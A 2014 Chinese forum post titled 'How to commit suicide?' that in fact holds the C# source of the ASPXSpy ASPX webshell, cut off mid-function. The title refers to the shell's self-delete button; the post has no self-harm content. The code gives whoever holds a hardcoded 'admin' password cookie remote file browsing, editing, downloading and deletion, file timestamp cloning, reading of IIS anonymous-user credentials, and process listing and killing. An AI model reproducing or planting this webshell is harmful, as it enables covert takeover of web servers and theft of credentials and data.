找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 3538|回复: 0

如何自杀?

[复制链接]
发表于 2014-11-17 20:52:37 | 显示全部楼层 |阅读模式
  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
  2. <%@ import Namespace="System.IO"%>
  3. <%@ import Namespace="System.Diagnostics"%>
  4. <%@ import Namespace="System.Data"%>
  5. <%@ import Namespace="System.Management"%>
  6. <%@ import Namespace="System.Data.OleDb"%>
  7. <%@ import Namespace="Microsoft.Win32"%>
  8. <%@ import Namespace="System.Net.Sockets" %>
  9. <%@ import Namespace="System.Net" %>
  10. <%@ import Namespace="System.Runtime.InteropServices"%>
  11. <%@ import Namespace="System.DirectoryServices"%>
  12. <%@ import Namespace="System.ServiceProcess"%>
  13. <%@ import Namespace="System.Text.RegularExpressions"%>
  14. <%@ Import Namespace="System.Threading"%>
  15. <%@ Import Namespace="System.Data.SqlClient"%>
  16. <%@ import Namespace="Microsoft.VisualBasic"%>
  17. <%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  18. <%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  19. <%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  20. <%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
  21. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  22. <script runat="server">
  23. public string Password="21232f297a57a5a743894a0e4a801fc3";//admin
  24. public string vbhLn="ASPXSpy";
  25. public int TdgGU=1;
  26. protected OleDbConnection Dtdr=new OleDbConnection();
  27. protected OleDbCommand Kkvb=new OleDbCommand();
  28. public NetworkStream NS=null;
  29. public NetworkStream NS1=null;
  30. TcpClient tcp=new TcpClient();
  31. TcpClient zvxm=new TcpClient();
  32. ArrayList IVc=new ArrayList();
  33. protected void Page_load(object sender,EventArgs e)
  34. {
  35. YFcNP(this);
  36. fhAEn();
  37. if (!pdo())
  38. {
  39. return;
  40. }
  41. if(IsPostBack)
  42. {
  43. string tkI=Request["__EVENTTARGET"];
  44. string VqV=Request["__File"];
  45. if(tkI!="")
  46. {
  47. switch(tkI)
  48. {
  49. case "Bin_Parent":
  50. krIR(Ebgw(VqV));
  51. break;
  52. case "Bin_Listdir":
  53. krIR(Ebgw(VqV));
  54. break;
  55. case "kRXgt":
  56. kRXgt(Ebgw(VqV));
  57. break;
  58. case "Bin_Createfile":
  59. gLKc(VqV);
  60. break;
  61. case "Bin_Editfile":
  62. gLKc(VqV);
  63. break;
  64. case "Bin_Createdir":
  65. stNPw(VqV);
  66. break;
  67. case "cYAl":
  68. cYAl(VqV);
  69. break;
  70. case "ksGR":
  71. ksGR(Ebgw(VqV));
  72. break;
  73. case "SJv":
  74. SJv(VqV);
  75. break;
  76. case "Bin_Regread":
  77. tpRQ(Ebgw(VqV));
  78. break;
  79. case "hae":
  80. hae();
  81. break;
  82. case "urJG":
  83. urJG(VqV);
  84. break;
  85. }
  86. if(tkI.StartsWith("dAJTD"))
  87. {
  88. dAJTD(Ebgw(tkI.Replace("dAJTD","")),VqV);
  89. }
  90. else if(tkI.StartsWith("Tlvz"))
  91. {
  92. Tlvz(Ebgw(tkI.Replace("Tlvz","")),VqV);
  93. }
  94. else if(tkI.StartsWith("Bin_CFile"))
  95. {
  96. YByN(Ebgw(tkI.Replace("Bin_CFile","")),VqV);
  97. }
  98. }
  99. }
  100. else
  101. {
  102. PBZw();
  103. }
  104. }
  105. public bool pdo()
  106. {
  107. if(Request.Cookies[vbhLn]==null)
  108. {
  109. tZSx();
  110. return false;
  111. }
  112. else
  113. {
  114. if (Request.Cookies[vbhLn].Value != Password)
  115. {
  116. tZSx();
  117. return false;
  118. }
  119. else
  120. {
  121. return true;
  122. }
  123. }
  124. }
  125. public void tZSx()
  126. {
  127. ljtzC.Visible=true;
  128. ZVS.Visible=false;
  129. }
  130. protected void YKpI(object sender,EventArgs e)
  131. {
  132. Session.Abandon();
  133. Response.Cookies.Add(new HttpCookie(vbhLn,null));
  134. tZSx();
  135. }
  136. public void PBZw()
  137. {
  138. ZVS.Visible=true;
  139. ljtzC.Visible=false;
  140. Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
  141. Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
  142. Bin_Button_KillMe.Attributes["onClick"]="if(confirm('确定要自杀?')){Bin_PostBack('hae','');};";
  143. Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")";
  144. Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString();
  145. if (AXSbb.Value==string.Empty)
  146. {
  147. AXSbb.Value=OElM(Server.MapPath("."));
  148. }
  149. Bin_H2_Title.InnerText="文件(夹)管理 >>";
  150. krIR(AXSbb.Value);
  151. }
  152. public void fhAEn()
  153. {
  154. try
  155. {
  156. string[] YRgt=Directory.GetLogicalDrives();
  157. for(int i=0;i<YRgt.Length;i++)
  158. {
  159. Control c=ParseControl(" <asp:LinkButton Text='"+mFvj(YRgt[i])+"' ID="Bin_Button_Driv"+i+"" runat='server' commandargument= '"+YRgt[i]+"'/> | ");
  160. Bin_Span_Drv.Controls.Add(c);
  161. LinkButton nxeDR=(LinkButton)Page.FindControl("Bin_Button_Driv"+i);
  162. nxeDR.Command+=new CommandEventHandler(this.iVk);
  163. }
  164. }catch(Exception ex){}
  165. }
  166. public string OElM(string path)
  167. {
  168. if(path.Substring(path.Length-1,1)!=@"")
  169. {
  170. path=path+@"";
  171. }
  172. return path;
  173. }
  174. public string nrrx(string path)
  175. {
  176. char[] trim={'\\'};
  177. if(path.Substring(path.Length-1,1)==@"")
  178. {
  179. path=path.TrimEnd(trim);
  180. }
  181. return path;
  182. }
  183. [DllImport("kernel32.dll",EntryPoint="GetDriveTypeA")]
  184. public static extern int OMZP(string nDrive);
  185. public string mFvj(string instr)
  186. {
  187. string EuXD=string.Empty;
  188. int num=OMZP(instr);
  189. switch(num)
  190. {
  191. case 1:
  192. EuXD="Unknow("+instr+")";
  193. break;
  194. case 2:
  195. EuXD="Removable("+instr+")";
  196. break;
  197. case 3:
  198. EuXD="磁盘("+instr+")";
  199. break;
  200. case 4:
  201. EuXD="Network("+instr+")";
  202. break;
  203. case 5:
  204. EuXD="CDRom("+instr+")";
  205. break;
  206. case 6:
  207. EuXD="RAM Disk("+instr+")";
  208. break;
  209. }
  210. return EuXD.Replace(@"","");
  211. }
  212. public string MVVJ(string instr)
  213. {
  214. byte[] tmp=Encoding.Default.GetBytes(instr);
  215. return Convert.ToBase64String(tmp);
  216. }
  217. public string Ebgw(string instr)
  218. {
  219. byte[] tmp=Convert.FromBase64String(instr);
  220. return Encoding.Default.GetString(tmp);
  221. }
  222. public void krIR(string path)
  223. {
  224. WICxe();
  225. CzfO.Visible=true;
  226. Bin_H2_Title.InnerText="文件(夹)管理 >>";
  227. AXSbb.Value=OElM(path);
  228. DirectoryInfo GQMM=new DirectoryInfo(path);
  229. if(Directory.GetParent(nrrx(path))!=null)
  230. {
  231. string bg=OKM();
  232. TableRow p=new TableRow();
  233. for(int i=1;i<6;i++)
  234. {
  235. TableCell pc=new TableCell();
  236. if(i==1)
  237. {
  238. pc.Width=Unit.Parse("2%");
  239. pc.Text="<font face='wingdings' size='4'>0</font>";
  240. p.CssClass=bg;
  241. }
  242. if(i==2)
  243. {
  244. pc.Text="<a href="javascript:Bin_PostBack('Bin_Parent','"+MVVJ(Directory.GetParent(nrrx(path)).ToString())+"')">Parent Directory</a>";
  245. }
  246. p.Cells.Add(pc);
  247. UGzP.Rows.Add(p);
  248. }
  249. }
  250. try
  251. {
  252. int vLlH=0;
  253. foreach(DirectoryInfo Bin_folder in GQMM.GetDirectories())
  254. {
  255. string bg=OKM();
  256. vLlH++;
  257. TableRow tr=new TableRow();
  258. TableCell tc=new TableCell();
  259. tc.Width=Unit.Parse("2%");
  260. tc.Text="<font face='wingdings' size='4'>0</font>";
  261. tr.Attributes["onmouseover"]="this.className='focus';";
  262. tr.CssClass=bg;
  263. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  264. tr.Cells.Add(tc);
  265. TableCell HczyN=new TableCell();
  266. HczyN.Text="<a href="javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')">"+Bin_folder.Name+"</a>";
  267. tr.Cells.Add(HczyN);
  268. TableCell LYZK=new TableCell();
  269. LYZK.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  270. tr.Cells.Add(LYZK);
  271. UGzP.Rows.Add(tr);
  272. TableCell ERUL=new TableCell();
  273. ERUL.Text="--";
  274. tr.Cells.Add(ERUL);
  275. UGzP.Rows.Add(tr);
  276. TableCell ZGKh=new TableCell();
  277. ZGKh.Text="<a href="javascript:if(confirm('确定要删除此文件(夹) ?')){Bin_PostBack('kRXgt','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')};">删除</a> | <a href='#' onclick="var filename=prompt('请输入文件夹名称:','"+AXSbb.Value.Replace(@"",@"\")+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('dAJTD"+MVVJ(AXSbb.Value+Bin_folder.Name)+"',filename);} ">重命名</a>";
  278. tr.Cells.Add(ZGKh);
  279. UGzP.Rows.Add(tr);
  280. }
  281. TableRow cKVA=new TableRow();
  282. cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  283. cKVA.Attributes["bgcolor"]="#dddddd";
  284. TableCell JlmW=new TableCell();
  285. JlmW.Attributes["colspan"]="6" ;
  286. JlmW.Attributes["height"]="5";
  287. cKVA.Cells.Add(JlmW);
  288. UGzP.Rows.Add(cKVA);
  289. int aYRwo=0;
  290. foreach(FileInfo Bin_Files in GQMM.GetFiles())
  291. {
  292. aYRwo++;
  293. string gb=OKM();
  294. TableRow tr=new TableRow();
  295. TableCell tc=new TableCell();
  296. tc.Width=Unit.Parse("2%");
  297. tc.Text="<input type="checkbox" value="0" name=""+MVVJ(Bin_Files.Name)+"">";
  298. tr.Attributes["onmouseover"]="this.className='focus';";
  299. tr.CssClass=gb;
  300. tr.Attributes["onmouseout"]="this.className='"+gb+"';";
  301. tr.Cells.Add(tc);
  302. TableCell filename=new TableCell();
  303. if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
  304. {
  305. string url=Request.Url.ToString();
  306. filename.Text="<a href=""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\","/")+"" target="_blank">"+Bin_Files.Name+"</a>";
  307. }
  308. else
  309. {
  310. filename.Text=Bin_Files.Name;
  311. }
  312. TableCell albt=new TableCell();
  313. albt.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  314. TableCell YzK=new TableCell();
  315. YzK.Text=mTG(Bin_Files.Length);
  316. TableCell GLpi=new TableCell();
  317. GLpi.Text="<a href="#" onclick="Bin_PostBack('ksGR','"+MVVJ(AXSbb.Value+Bin_Files.Name)+"')">下载</a> | <a href='#' onclick="var filename=prompt('请输入新的文件名:','"+AXSbb.Value.Replace(@"",@"\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} ">复制</a> | <a href="#" onclick="Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')">编辑</a> | <a href='#' onclick="var filename=prompt('请输入新的文件名:','"+AXSbb.Value.Replace(@"",@"\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Tlvz"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} ">重命名</a> | <a href="#" onclick="Bin_PostBack('cYAl','"+Bin_Files.Name+"')">修改文件属性</a> ";
  318. tr.Cells.Add(filename);
  319. tr.Cells.Add(albt);
  320. tr.Cells.Add(YzK);
  321. tr.Cells.Add(GLpi);
  322. UGzP.Rows.Add(tr);
  323. }
  324. string lgb=OKM();
  325. TableRow oWam=new TableRow();
  326. oWam.CssClass=lgb;
  327. for(int i=1;i<4;i++)
  328. {
  329. TableCell lGV=new TableCell();
  330. if(i==1)
  331. {
  332. lGV.Text="<input name="chkall" value="on" type="checkbox" onclick="var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}"/>";
  333. }
  334. if(i==2)
  335. {
  336. lGV.Text="<a href="#" Onclick="var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){Bin_PostBack('SJv',d_file)};}">Delete selected</a>";
  337. }
  338. if(i==3)
  339. {
  340. lGV.ColumnSpan=4;
  341. lGV.Style.Add("text-align","right");
  342. lGV.Text=vLlH+" 文件夹/ "+aYRwo+" 文件";
  343. }
  344. oWam.Cells.Add(lGV);
  345. }
  346. UGzP.Rows.Add(oWam);
  347. }
  348. catch(Exception error)
  349. {
  350. xseuB(error.Message);
  351. }
  352. }
  353. public string OKM()
  354. {
  355. TdgGU++;
  356. if(TdgGU % 2==0)
  357. {
  358. return "alt1";
  359. }
  360. else
  361. {
  362. return "alt2";
  363. }
  364. }
  365. public void kRXgt(string qcKu)
  366. {
  367. try
  368. {
  369. Directory.Delete(qcKu,true);
  370. xseuB("Directory delete new success !");
  371. }
  372. catch(Exception error)
  373. {
  374. xseuB(error.Message);
  375. }
  376. krIR(Directory.GetParent(qcKu).ToString());
  377. }
  378. public void dAJTD(string sdir,string ddir)
  379. {
  380. try
  381. {
  382. Directory.Move(sdir,ddir);
  383. xseuB("Directory Renamed Success !");
  384. }
  385. catch(Exception error)
  386. {
  387. xseuB(error.Message);
  388. }
  389. krIR(AXSbb.Value);
  390. }
  391. public void Tlvz(string sfile,string dfile)
  392. {
  393. try
  394. {
  395. File.Move(sfile,dfile);
  396. xseuB("File Renamed Success !");
  397. }
  398. catch(Exception error)
  399. {
  400. xseuB(error.Message);
  401. }
  402. krIR(AXSbb.Value);
  403. }
  404. public void YByN(string spath,string dpath)
  405. {
  406. try
  407. {
  408. File.Copy(spath,dpath);
  409. xseuB("File Copy Success !");
  410. }
  411. catch(Exception error)
  412. {
  413. xseuB(error.Message);
  414. }
  415. krIR(AXSbb.Value);
  416. }
  417. public void stNPw(string path)
  418. {
  419. try
  420. {
  421. Directory.CreateDirectory(AXSbb.Value+path);
  422. xseuB("Directory created success !");
  423. }
  424. catch(Exception error)
  425. {
  426. xseuB(error.Message);
  427. }
  428. krIR(AXSbb.Value);
  429. }
  430. public void gLKc(string path)
  431. {
  432. if(Request["__EVENTTARGET"]=="Bin_Editfile" || Request["__EVENTTARGET"]=="Bin_Createfile")
  433. {
  434. foreach(ListItem item in NdCX.Items)
  435. {
  436. if(item.Selected=true)
  437. {
  438. item.Selected=false;
  439. }
  440. }
  441. }
  442. Bin_H2_Title.InnerHtml="创建/编辑文件 >>";
  443. WICxe();
  444. vrFA.Visible=true;
  445. if(path.IndexOf(":")< 0)
  446. {
  447. Sqon.Value=AXSbb.Value+path;
  448. }
  449. else
  450. {
  451. Sqon.Value=path;
  452. }
  453. if(File.Exists(Sqon.Value))
  454. {
  455. StreamReader sr;
  456. if(NdCX.SelectedItem.Text=="UTF-8")
  457. {
  458. sr=new StreamReader(Sqon.Value,Encoding.UTF8);
  459. }
  460. else
  461. {
  462. sr=new StreamReader(Sqon.Value,Encoding.Default);
  463. }
  464. Xgvv.InnerText=sr.ReadToEnd();
  465. sr.Close();
  466. }
  467. else
  468. {
  469. Xgvv.InnerText=string.Empty;
  470. }
  471. }
  472. public void ksGR(string path)
  473. {
  474. FileInfo fs=new FileInfo(path);
  475. Response.Clear();
  476. Page.Response.ClearHeaders();
  477. Page.Response.Buffer=false;
  478. this.EnableViewState=false;
  479. Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fs.Name,System.Text.Encoding.UTF8));
  480. Response.AddHeader("Content-Length",fs.Length.ToString());
  481. Page.Response.ContentType="application/unknown";
  482. Response.WriteFile(fs.FullName);
  483. Page.Response.Flush();
  484. Page.Response.Close();
  485. Response.End();
  486. Page.Response.Clear();
  487. }
  488. public void SJv(string path)
  489. {
  490. try
  491. {
  492. string[] spdT=path.Split(',');
  493. for(int i=0;i<spdT.Length-1;i++)
  494. {
  495. File.Delete(AXSbb.Value+Ebgw(spdT[i]));
  496. }
  497. xseuB("File Delete Success !");
  498. }
  499. catch(Exception error)
  500. {
  501. xseuB(error.Message);
  502. }
  503. krIR(AXSbb.Value);
  504. }
  505. public void hae()
  506. {
  507. try
  508. {
  509. File.Delete(Request.PhysicalPath);

  510. }
  511. catch(Exception error)
  512. {
  513. xseuB(error.Message);
  514. }
  515. }
  516. public void cYAl(string path)
  517. {
  518. Bin_H2_Title.InnerHtml="克隆文件的最后修改时间 >>";
  519. WICxe();
  520. zRyG.Visible=true;
  521. QiFB.Value=AXSbb.Value+path;
  522. lICp.Value=AXSbb.Value;
  523. pWVL.Value=AXSbb.Value+path;
  524. string Att=File.GetAttributes(QiFB.Value).ToString();
  525. if(Att.LastIndexOf("ReadOnly")!=-1)
  526. {
  527. ZhWSK.Checked=true;
  528. }
  529. if(Att.LastIndexOf("System")!=-1)
  530. {
  531. SsR.Checked=true;
  532. }
  533. if(Att.LastIndexOf("Hidden")!=-1)
  534. {
  535. ccB.Checked=true;
  536. }
  537. if(Att.LastIndexOf("Archive")!=-1)
  538. {
  539. fbyZ.Checked=true;
  540. }
  541. yUqx.Value=File.GetCreationTimeUtc(pWVL.Value).ToString();
  542. uYjw.Value=File.GetLastWriteTimeUtc(pWVL.Value).ToString();
  543. aLsn.Value=File.GetLastAccessTimeUtc(pWVL.Value).ToString();
  544. }
  545. public static String mTG(Int64 fileSize)
  546. {
  547. if(fileSize<0)
  548. {
  549. throw new ArgumentOutOfRangeException("fileSize");
  550. }
  551. else if(fileSize >= 1024 * 1024 * 1024)
  552. {
  553. return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024));
  554. }
  555. else if(fileSize >= 1024 * 1024)
  556. {
  557. return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024));
  558. }
  559. else if(fileSize >= 1024)
  560. {
  561. return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024);
  562. }
  563. else
  564. {
  565. return string.Format("{0} B",fileSize);
  566. }
  567. }
  568. private bool SGde(string sSrc)
  569. {
  570. Regex reg=new Regex(@"^0|[0-9]*[1-9][0-9]*$");
  571. if(reg.IsMatch(sSrc))
  572. {
  573. return true;
  574. }
  575. else
  576. {
  577. return false;
  578. }
  579. }
  580. public void AdCx()
  581. {
  582. string qcKu=string.Empty;
  583. string mWGEm="IIS://localhost/W3SVC";
  584. GlI.Style.Add("word-break","break-all");
  585. try
  586. {
  587. DirectoryEntry HHzcY=new DirectoryEntry(mWGEm);
  588. int fmW=0;
  589. foreach(DirectoryEntry child in HHzcY.Children)
  590. {
  591. if(SGde(child.Name.ToString()))
  592. {
  593. fmW++;
  594. DirectoryEntry newdir=new DirectoryEntry(mWGEm+"/"+child.Name.ToString());
  595. DirectoryEntry HlyU=newdir.Children.Find("root","IIsWebVirtualDir");
  596. string bg=OKM();
  597. TableRow TR=new TableRow();
  598. TR.Attributes["onmouseover"]="this.className='focus';";
  599. TR.CssClass=bg;
  600. TR.Attributes["onmouseout"]="this.className='"+bg+"';";
  601. TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString();
  602. for(int i=1;i<6;i++)
  603. {
  604. try
  605. {
  606. TableCell tfit=new TableCell();
  607. switch(i)
  608. {case 1:
  609. tfit.Text=fmW.ToString();
  610. break;
  611. case 2:
  612. tfit.Text=HlyU.Properties["AnonymousUserName"].Value.ToString();
  613. break;
  614. case 3:
  615. tfit.Text=HlyU.Properties["AnonymousUserPass"].Value.ToString();
  616. break;
  617. case 4:
  618. StringBuilder sb=new StringBuilder();
  619. PropertyValueCollection pc=child.Properties["ServerBindings"];
  620. for (int j=0; j < pc.Count; j++)
  621. {
  622. sb.Append(pc[j].ToString()+"<br>");
  623. }
  624. tfit.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
  625. break;
  626. case 5:
  627. tfit.Text="<a href="javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(HlyU.Properties["Path"].Value.ToString())+"')">"+HlyU.Properties["Path"].Value.ToString()+"</a>";
  628. break;
  629. }
  630. TR.Cells.Add(tfit);
  631. }
  632. catch (Exception ex)
  633. {
  634. xseuB(ex.Message);
  635. continue;
  636. }
  637. }
  638. GlI.Controls.Add(TR);
  639. }
  640. }
  641. }
  642. catch(Exception ex)
  643. {
  644. xseuB(ex.Message);
  645. }
  646. }
  647. public ManagementObjectCollection PhQTd(string query)
  648. {
  649. ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
  650. return QS.Get();
  651. }
  652. public DataTable cCf(string query)
  653. {
  654. DataTable dt=new DataTable();
  655. int i=0;
  656. ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
  657. try
  658. {
  659. foreach(ManagementObject m in QS.Get())
  660. {
  661. DataRow dr=dt.NewRow();
  662. PropertyDataCollection.PropertyDataEnumerator oEnum;
  663. oEnum=(m.Properties.GetEnumerator()as PropertyDataCollection.PropertyDataEnumerator);
  664. while(oEnum.MoveNext())
  665. {
  666. PropertyData DRU=(PropertyData)oEnum.Current;
  667. if(dt.Columns.IndexOf(DRU.Name)==-1)
  668. {
  669. dt.Columns.Add(DRU.Name);
  670. dt.Columns[dt.Columns.Count-1].DefaultValue="";
  671. }
  672. if(m[DRU.Name]!=null)
  673. {
  674. dr[DRU.Name]=m[DRU.Name].ToString();
  675. }
  676. else
  677. {
  678. dr[DRU.Name]=string.Empty;
  679. }
  680. }
  681. dt.Rows.Add(dr);
  682. }
  683. }
  684. catch(Exception error)
  685. {
  686. }
  687. return dt;
  688. }
  689. public void YUw()
  690. {
  691. try
  692. {
  693. Bin_H2_Title.InnerText="系统进程 >>";
  694. WICxe();
  695. DCbS.Visible=true;
  696. int UEbTI=0;
  697. Process[] p=Process.GetProcesses();
  698. foreach(Process sp in p)
  699. {
  700. UEbTI++;
  701. string bg=OKM();
  702. TableRow tr=new TableRow();
  703. tr.Attributes["onmouseover"]="this.className='focus';";
  704. tr.CssClass=bg;
  705. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  706. for(int i=1;i<7;i++)
  707. {
  708. TableCell td=new TableCell();
  709. if(i==1)
  710. {
  711. td.Width=Unit.Parse("2%");
  712. td.Text=UEbTI.ToString();
  713. tr.Controls.Add(td);
  714. }
  715. if(i==2)
  716. {
  717. td.Text=sp.Id.ToString();
  718. tr.Controls.Add(td);
  719. }
  720. if(i==3)
  721. {
  722. td.Text=sp.ProcessName.ToString();
  723. tr.Controls.Add(td);
  724. }
  725. if(i==4)
  726. {
  727. td.Text=sp.Threads.Count.ToString();
  728. tr.Controls.Add(td);
  729. }
  730. if(i==5)
  731. {
  732. td.Text=sp.BasePriority.ToString();
  733. tr.Controls.Add(td);
  734. }
  735. if(i==6)
  736. {
  737. td.Text="--";
  738. tr.Controls.Add(td);
  739. }
  740. }
  741. IjsL.Controls.Add(tr);
  742. }
  743. }
  744. catch(Exception error)
  745. {
  746. AIz();
  747. }
  748. AIz();
  749. }
  750. public void AIz()
  751. {
  752. try
  753. {
  754. Bin_H2_Title.InnerText="系统进程 >>";
  755. WICxe();
  756. DCbS.Visible=true;
  757. int UEbTI=0;
  758. DataTable dt=cCf("Win32_Process");
  759. for(int j=0;j<dt.Rows.Count;j++)
  760. {
  761. UEbTI++;
  762. string bg=OKM();
  763. TableRow tr=new TableRow();
  764. tr.Attributes["onmouseover"]="this.className='focus';";
  765. tr.CssClass=bg;
  766. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  767. for(int i=1;i<7;i++)
  768. {
  769. TableCell td=new TableCell();
  770. if(i==1)
  771. {
  772. td.Width=Unit.Parse("2%");
  773. td.Text=UEbTI.ToString();
  774. tr.Controls.Add(td);
  775. }
  776. if(i==2)
  777. {
  778. td.Text=dt.Rows[j]["ProcessID"].ToString();
  779. tr.Controls.Add(td);
  780. }
  781. if(i==3)
  782. {
  783. td.Text=dt.Rows[j]["Name"].ToString();
  784. tr.Controls.Add(td);
  785. }
  786. if(i==4)
  787. {
  788. td.Text=dt.Rows[j]["ThreadCount"].ToString();
  789. tr.Controls.Add(td);
  790. }
  791. if(i==5)
  792. {
  793. td.Text=dt.Rows[j]["Priority"].ToString();
  794. tr.Controls.Add(td);
  795. }
  796. if(i==6)
  797. {
  798. if( dt.Rows[j]["CommandLine"]!=string.Empty)
  799. {
  800. td.Text="<a href="javascript:Bin_PostBack('urJG','"+dt.Rows[j]["ProcessID"].ToString()+"')">Kill</a>";
  801. }
  802. else
  803. {
  804. td.Text="--";
  805. }
  806. tr.Controls.Add(td);
  807. }
  808. }
  809. IjsL.Controls.Add(tr);
  810. }
  811. }
  812. catch(Exception error)
  813. {
  814. xseuB(error.Message);
  815. }
  816. }
  817. public void urJG(string pid)
  818. {
  819. try
  820. {
  821. foreach(ManagementObject p in PhQTd("Select * from Win32_Process Where ProcessID ='"+pid+"'"))
  822. {
  823. p.InvokeMethod("Terminate",null);
  824. p.Dispose();
  825. }
  826. xseuB("Process Kill Success !");
  827. }
  828. catch(Exception error)
  829. {
  830. xseuB(error.Message);
  831. }
  832. AIz();
  833. }
  834. public void oHpF()
  835. {
  836. try
  837. {
  838. Bin_H2_Title.InnerText="系统服务 >>";
  839. WICxe();
  840. iQxm.Visible=true;
  841. int UEbTI=0;
  842. ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();
  843. for(int i=0;i<kQmRu.Length;i++)
  844. {
  845. UEbTI++;
  846. string bg=OKM();
  847. TableRow tr=new TableRow();
  848. tr.Attributes["onmouseover"]="this.className='focus';";
  849. tr.CssClass=bg;
  850. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  851. for(int b=1;b<7;b++)
  852. {
  853. TableCell td=new TableCell();
  854. if(b==1)
  855. {
  856. td.Width=Unit.Parse("2%");
  857. td.Text=UEbTI.ToString();
  858. tr.Controls.Add(td);
  859. }
  860. if(b==2)
  861. {
  862. td.Text="null";
  863. tr.Controls.Add(td);
  864. }
  865. if(b==3)
  866. {
  867. td.Text=kQmRu[i].ServiceName.ToString();
  868. tr.Controls.Add(td);
  869. }
  870. if(b==4)
  871. {
  872. td.Text="";
  873. tr.Controls.Add(td);
  874. }
  875. if(b==5)
  876. {
  877. string kOIo=kQmRu[i].Status.ToString();
  878. if(kOIo=="Running")
  879. {
  880. td.Text="<font color=green>"+kOIo+"</font>";
  881. }
  882. else
  883. {
  884. td.Text="<font color=red>"+kOIo+"</font>";
  885. }
  886. tr.Controls.Add(td);
  887. }
  888. if(b==6)
  889. {
  890. td.Text="";
  891. tr.Controls.Add(td);
  892. }
  893. }
  894. vHCs.Controls.Add(tr);
  895. }
  896. }
  897. catch(Exception error)
  898. {
  899. xseuB(error.Message);
  900. }
  901. }
  902. public void tZRH()
  903. {
  904. try
  905. {
  906. Bin_H2_Title.InnerText="系统服务 >>";
  907. WICxe();
  908. iQxm.Visible=true;
  909. int UEbTI=0;
  910. DataTable dt=cCf("Win32_Service");
  911. for(int j=0;j<dt.Rows.Count;j++)
  912. {
  913. UEbTI++;
  914. string bg=OKM();
  915. TableRow tr=new TableRow();
  916. tr.Attributes["onmouseover"]="this.className='focus';";
  917. tr.CssClass=bg;
  918. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  919. tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
  920. for(int i=1;i<7;i++)
  921. {
  922. TableCell td=new TableCell();
  923. if(i==1)
  924. {
  925. td.Width=Unit.Parse("2%");
  926. td.Text=UEbTI.ToString();
  927. tr.Controls.Add(td);
  928. }
  929. if(i==2)
  930. {
  931. td.Text=dt.Rows[j]["ProcessID"].ToString();
  932. tr.Controls.Add(td);
  933. }
  934. if(i==3)
  935. {
  936. td.Text=dt.Rows[j]["Name"].ToString();
  937. tr.Controls.Add(td);
  938. }
  939. if(i==4)
  940. {
  941. td.Text=dt.Rows[j]["PathName"].ToString();
  942. tr.Controls.Add(td);
  943. }
  944. if(i==5)
  945. {
  946. string kOIo=dt.Rows[j]["State"].ToString();
  947. if(kOIo=="Running")
  948. {
  949. td.Text="<font color=green>"+kOIo+"</font>";
  950. }
  951. else
  952. {
  953. td.Text="<font color=red>"+kOIo+"</font>";
  954. }
  955. tr.Controls.Add(td);
  956. }
  957. if(i==6)
  958. {
  959. td.Text=dt.Rows[j]["StartMode"].ToString();
  960. tr.Controls.Add(td);
  961. }
  962. }
  963. vHCs.Controls.Add(tr);
  964. }
  965. }
  966. catch(Exception error)
  967. {
  968. oHpF();
  969. }
  970. }
  971. public void PLd()
  972. {
